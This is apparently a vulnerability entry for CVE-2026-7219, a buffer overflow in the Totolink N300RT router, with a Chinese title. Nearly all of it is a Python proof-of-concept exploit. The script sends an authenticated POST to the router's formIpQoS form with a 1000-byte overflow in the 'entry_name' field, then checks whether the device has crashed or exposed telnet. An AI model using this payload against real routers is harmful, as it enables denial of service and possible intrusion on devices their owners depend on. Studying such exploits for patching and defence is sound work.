CVE-2026-7219 Totolink N300RT缓冲区溢出漏洞

import requests # Target URL configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/boafrm/formIpQoS" # Headers - Authentication is required (PR:H) # Replace with valid cookie obtained after login headers = { "User-Agent": "Mozilla/5.0", "Cookie": "uid=123412341234" } # Buffer Overflow Payload # Filling 'entry_name' with a large pattern to trigger the crash # Offset needs to be adjusted based on specific firmware analysis buffer = b"A" * 1000 # Form data structure typically used in these devices payload_data = { "entry_name": buffer.decode('latin-1'), "submit-url": "/index.htm", "action": "Add" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, headers=headers, data=payload_data, timeout=5) if response.status_code == 200: print("Request sent. Check if the device has crashed or telnet service is available.") else: print(f"Unexpected status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")